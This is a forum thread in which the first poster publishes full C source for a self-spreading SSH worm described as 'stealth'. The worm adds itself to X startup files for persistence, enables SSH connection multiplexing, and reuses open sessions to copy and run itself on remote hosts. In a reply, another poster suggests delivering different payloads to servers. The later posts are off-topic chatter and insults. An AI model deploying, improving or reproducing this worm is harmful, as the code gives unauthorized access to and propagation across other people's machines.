Advertisement
|
|
Advertisement
No logs - Anonymous IP
|
 |
02-20-2010, 05:34 PM
|
#1
|
Grand Duke
Join Date: Mar 2009
Location: Islands of Calleja
Posts: 10,228
Thanks: 1,073
Thanked 827 Times in 688 Posts
|
"Stealth" SSH worm PoC
I wrote a "stealth" ssh worm, it should be fully undetectable from IDSs because it doesn't try to bruteforce the password. Instead, it enables SSH multiplexing on the infected hosts and listens for a ssh connection to be made. Then it copies itself with scp and executes itself on the server. Unfortunatly sshd can't execute commands on the client (AFAIK), so it can only spread if the infected machine acts as a client, but only servers can get infected.
Code:
#include <stdio.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <dirent.h>
char fileLoc[] = "~/.opensshworm"; //default location to store worm
int autostart() { //only works with X
FILE *file;
int len, i;
char *buf, filename[2][12] = {"~/.xinitrc", "~/.xsession"};
for(i=0; i<2; i++) {
file = fopen(filename[i], "a+");
if ( file == NULL ) return 0;
fseek(file, 0, SEEK_END);
len = ftell(file) + 1; //get file length
buf = (char *)malloc(len);
rewind(file);
fread(buf, 1, len, file);
if (strstr(buf, fileLoc) != NULL) {
free(buf);
continue; //already there!
}
free(buf);
fseek(file, 0, SEEK_END);
fwrite("\n", 1, 1, file);
fwrite(fileLoc, 1, strlen(fileLoc), file);
fclose(file);
}
return 1;
}
int setupSSH() {
FILE *file;
int len;
char *ptr[5], *buf,
t[] = "\nHost *\n ControlMaster auto\n ControlPath ~/.ssh/master-\%r@\%h:\%p\n";
file = fopen("~/.ssh/config", "a+");
if ( file == NULL ) return 0;
fseek(file, 0, SEEK_END);
len = ftell(file) + 1; //get file length
buf = (char *)malloc(len);
rewind(file);
fread(buf, 1, len, file);
ptr[0] = strstr(buf, "Host *");
if (ptr[0] != NULL) {
ptr[1] = strstr(ptr[0]+4, "Host");
ptr[2] = strstr(buf, "ControlMaster auto");
if ( (ptr[2] > ptr[0]) && ( (ptr[2] < ptr[1]) | (ptr[1] == NULL)) ) { //already exists
free(buf);
return 1;
}
}
fseek(file, 0, SEEK_END);
fwrite(t, 1, strlen(t), file);
fclose(file);
free(buf);
return 1;
}
int main(void) {
if (autostart() == 0) return 0;
if (setupSSH() == 0) return 0;
DIR *ssh;
struct dirent *dir;
char *ptr, host[64], cmd[256];
ssh = opendir(".ssh");
if (ssh == NULL) {
printf("error opening dir\n%i\n",errno);
return 0;
}
while(1) {
dir = readdir(ssh);
if (dir == NULL) { //if we checked all files, start over
rewinddir(ssh);
sleep(10);
continue;
}
if (strncmp(dir->d_name, "master-", 7) == 0 ) {
//ssh connection open, lets spread
ptr = strchr(dir->d_name, '@');
strcpy(host, ptr+1);
ptr = strchr(host, ':');
*ptr = 0;
sprintf(cmd, "scp %s %s:%s && ssh %s %s &", fileLoc, host, fileLoc, host, fileLoc);
system(cmd);
}
}
closedir(ssh);
return 1;
}
Last edited by Fractals; 02-25-2010 at 12:06 PM.
Reason: autostart() now edits .xsession too
|
|
|
02-25-2010, 06:29 AM
|
#2
|
Wealthy Merchant
Join Date: Mar 2009
Location: United States
Posts: 566
Thanks: 50
Thanked 105 Times in 85 Posts
|
Re: Hai
Quote:
Originally Posted by Fractals
it can only spread if the infected machine acts as a client, but only servers can get infected.
|
Maybe you can add a routine that checks if sshd is running (and therefore assume it's a server); if it does, you can make your program copy and run a different payload.
Also, a client that does not have x server will be impervious to it, right?
__________________
Bai
|
|
|
02-25-2010, 11:55 AM
|
#3
|
Grand Duke
Join Date: Mar 2009
Location: Islands of Calleja
Posts: 10,228
Thanks: 1,073
Thanked 827 Times in 688 Posts
|
Re: "Stealth" SSH worm PoC
I don't know of any vulnurabilities going the other way, but I'm kinda bored right now so I'll look into it. You're right about X, I should change my comments. xinitrc gets called by startx. I should also add it to .xsession, because sometimes it is called instead of xinitrc.
|
|
|
02-25-2010, 12:34 PM
|
#4
|
Grand Duke
Join Date: Mar 2009
Location: Islands of Calleja
Posts: 10,228
Thanks: 1,073
Thanked 827 Times in 688 Posts
|
Re: "Stealth" SSH worm PoC
I can't find any way to execute commands on the client. There might be some kind of buffer overflow, but then this program would get a lot bigger because it would have to send data pretending to be sshd. I like it's simplicity (read: I'm lazy  ).
It's kinda sad how slow this forum is. I wonder if theres any way we can increase traffic? I guess theres just not that many coders on zoklet...
|
|
|
10-26-2011, 12:34 AM
|
#5
|
Peasant
Join Date: Jan 2009
Location: inside your network
Posts: 270
Thanks: 7
Thanked 3 Times in 3 Posts
|
Re: "Stealth" SSH worm PoC
Eh every one just hangs out in the networking forms more. Also, zoklet isnt filled with coders. If it was promoted more im sure you would have had multiple responses to this.
__________________
RIP Totse May 24, 1989---January 17, 2009
|
|
|
04-09-2013, 11:01 AM
|
#6
|
Mud Farmer
Join Date: Apr 2013
Posts: 1
Thanks: 0
Thanked 0 Times in 0 Posts
|
Re: "Stealth" SSH worm PoC
Recently I have seen a blog post on SSH worm. SSH Worm based on Python code - scary code and worm have a look
http://hackoftheday.securitytube.net...ng-python.html 
On that blog there one video on SSH worm.
|
|
|
04-09-2013, 11:09 AM
|
#7
|
Banned
Join Date: May 2010
Location: ☆ ★ ☆ ★
Posts: 9,889
Thanks: 2,506
Thanked 1,719 Times in 1,151 Posts
|
Re: "Stealth" SSH worm PoC
Fucking mud farmers.
|
|
|
04-09-2013, 11:11 AM
|
#8
|
Duke
Join Date: Jul 2010
Location: The Big Empty
Posts: 6,486
Thanks: 2,179
Thanked 1,258 Times in 843 Posts
|
Re: "Stealth" SSH worm PoC
Quote:
Originally Posted by Zok Jr.
Fucking mud farmers.
|
Fucking snitches.
|
|
|
04-09-2013, 11:23 AM
|
#9
|
Banned
Join Date: May 2010
Location: ☆ ★ ☆ ★
Posts: 9,889
Thanks: 2,506
Thanked 1,719 Times in 1,151 Posts
|
Re: "Stealth" SSH worm PoC
Quote:
Originally Posted by Ph0x
Fucking snitches.
|
Alright, you know what? I'm gonna let you suck my dick, just this once, then leave me the fuck alone.
|
|
|
 |
Currently Active Users Viewing This Thread: 1 (1 members and 0 guests)
|
Dfg
|
Posting Rules
|
You may post new threads
You may post replies
You may not post attachments
You may edit your posts
HTML code is Off
|
|
|
All times are GMT +5. The time now is 02:13 AM.
|
|
Hot Topics |
| | | | | | | | | | | | | | |
Join our Chatroom! |
Users: 8
Messages/minute: 0
Topic: "Only rule: be nice or I'll cut your fucking face off, dumbshit"
|
Users: 27
Messages/minute: 1.6
Topic: "http://codelove.org :: Below is above in 2 codes 1 love. :: wh..."
|
Users: 18
Messages/minute: 5
Topic: "http://www.literotica...."
|
Advertisements |
Your ad could go right HERE! Contact us!
|
|